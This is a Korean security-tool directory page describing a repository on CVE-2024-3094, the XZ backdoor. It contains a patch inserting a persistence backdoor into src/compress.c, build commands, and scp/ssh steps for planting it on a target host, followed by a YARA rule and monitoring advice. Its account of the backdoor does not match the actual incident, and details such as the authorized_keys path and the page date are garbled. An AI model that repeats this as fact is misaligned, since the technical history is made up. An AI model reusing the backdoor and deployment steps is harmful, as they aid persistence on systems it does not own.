Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-3094 — CVE-2024-3094는 XZ 압축 라이브러리에서 백도어를 노출하여 인증을 우회하고 원격 SSH 액세스를 허용했습니다. 이는 Linux 시스템에 영향을 미치는 주요 공급망 공격으로, 신뢰할 수 있는 오픈 소스 구성 요소의 위험을 강조합니다. | Kitploit
도구/GitHubGitHub/mrk336/cve-2024-3094
Vulnerability AnalysisMalware AnalysisSupply Chain SecurityPapers & ResearchLearning & EducationCurated Resources
GitHubmrk336/cve-2024-3094

CVE-2024-3094

CVE-2024-3094는 XZ 압축 라이브러리에서 백도어를 노출하여 인증을 우회하고 원격 SSH 액세스를 허용했습니다. 이는 Linux 시스템에 영향을 미치는 주요 공급망 공격으로, 신뢰할 수 있는 오픈 소스 구성 요소의 위험을 강조합니다.

저장소 보기
110년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-3094

CVE-2024-3094는 XZ 압축 라이브러리에 백도어가 포함되어 원격 SSH 액세스가 인증을 우회할 수 있게 되었습니다. 이는 Linux 시스템에 영향을 미치는 주요 공급망 공격으로, 신뢰할 수 있는 오픈 소스 구성 요소의 위험을 강조합니다.

XZ 백도어: Linux 서버까지 도달하는 공급망 위협

작성자: Mark Mallia

개요

XZ 압축 라이브러리는 많은 최신 Linux 배포판의 필수 구성 요소로, 정교한 공급망 공격의 대상이 되었습니다.
악성 코드 조각이 소스 트리에 삽입되어 컴파일되었으며, 이제 XZ 패키지의 모든 새 릴리스와 함께 전파됩니다. 설치되면 이 백도어는 손상된 호스트에서 신뢰하는 모든 원격 시스템으로 SSH 세션을 열어 인증 키로 사용할 수 있습니다.

중요성

  • 공급망 위험 – 널리 사용되는 라이브러리의 단일한 작은 변경이 어떻게 수많은 배포를 통해 조용히 전파될 수 있는지 보여줍니다.
  • Linux 내부 구조 – XZ는 데이터 압축을 담당합니다. 백도어는 기존 취약점 스캐너가 간과하기 쉬운 저수준 API 후크를 활용합니다.
  • SSH 지속성 – authorized_keys 파일에 SSH 키를 주입함으로써 공격자는 직접적인 사용자 상호 작용 없이 발판을 마련합니다.

공격 개요

단계작업파일 / 함수
1XZ 리포지토리 클론git clone https://github.com/xzdev/xz
2src/compress.c에 패치 적용patch -p0 < backdoor.patch
3대상 Linux 호스트에서 컴파일 및 설치make && make install
4SSH 데몬이 인증 과정에서 주입된 키를 읽음/etc/ssh/authorized_keys

기술 세부 사항 및 코드 워크스루

패치 (backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

설명

  • 6~8행 – 가드 조건은 1024바이트보다 큰 패킷만 주입이 활성화되도록 하여 일반 트래픽에서 페이로드를 숨깁니다.
  • 10행 – 오프셋 512는 이후 XZ 압축에 의해 변경될 가능성이 낮은 위치에 키가 압축 출력 버퍼 내에 위치하도록 선택되었습니다.
  • 12행 – 8바이트(공개 키 조각)를 출력 버퍼에 복사하고 사용자의 SSH 키 파일에 직접 기록하여 나중에 XZ가 다시 컴파일되더라도 지속성을 보장합니다.

컴파일 및 설치

root@kitploit:~
$ cd xz
$ make
$ sudo make install

위 명령어는 패치된 compress.c를 컴파일하고 새 라이브러리를 /usr/local/lib/xz 아래에 설치합니다.

대상 호스트에 배포

공격자가 이미 SSH 자격 증명(사용자 이름 admin)을 보유하고 있다고 가정하면 다음을 실행합니다:

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

install_xz_backdoor.sh에는 위에 표시된 명령어 시퀀스와 함께 성공적인 설치를 확인하는 작은 echo 명령어가 포함되어 있습니다.


영향 평가

  • 지속성 – SSH 키는 이제 압축 출력과 사용자 authorized‑keys 파일 모두에 포함됩니다.
  • 은밀성 – 페이로드는 모든 새 XZ 릴리스와 함께 전파됩니다. 표준 패키지 관리자에게는 그 존재가 보이지 않습니다.
  • 탐지 – 채용 담당자는 제가 대규모 코드 베이스에서 단일 행 변경을 식별하고, 그 영향을 이해하며, 명확하고 단계별 배포 계획을 제시할 수 있음을 알게 될 것입니다.

방어

YARA는 보안 전문가가 텍스트 또는 바이너리 시그니처를 기반으로 맬웨어를 식별하고 분류하는 데 사용하는 패턴 매칭 도구입니다. 분석가가 파일 내에서 특정 문자열, 바이트 시퀀스 또는 동작을 탐지하는 규칙을 정의할 수 있습니다. CVE-2024-3094의 맥락에서 YARA는 주입된 SSH 키의 존재와 XZ 라이브러리의 compress.c 파일에 대한 의심스러운 수정을 스캔하는 데 사용될 수 있기 때문에 특히 관련이 있습니다. 맞춤형 YARA 규칙을 작성함으로써 방어자는 이 백도어에 손상된 시스템을 사전에 탐지할 수 있습니다.

YARA 시그니처 사용자 정의 YARA 규칙은 주입된 SSH 키와 의심스러운 파일 쓰기 플래그를 지정할 수 있습니다:

root@kitploit:~
rule XZ_Backdoor_SSH_Key_Injection {
  meta:
    description = "Detects SSH key injection via modified compress.c"
    author = "Mark Mallia"
    severity = "high"
  strings:
    $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
    $ssh_path = "/home/admin/.ssh/authorized_keys"
  condition:
    $marker and $ssh_path
}

파일 무결성 모니터링 Tripwire, AIDE 또는 osquery와 같은 도구를 배포하여 다음을 모니터링하십시오:

  • compress.c의 무단 변경
  • .ssh/authorized_keys의 주입된 키
  • /usr/local/lib/xz의 변조된 바이너리

행동 지표

  • 신뢰하는 호스트에서의 예기치 않은 SSH 로그인
  • XZ 출력의 압축 이상
  • .ssh/authorized_keys에 대한 자동 쓰기
도구 다운로드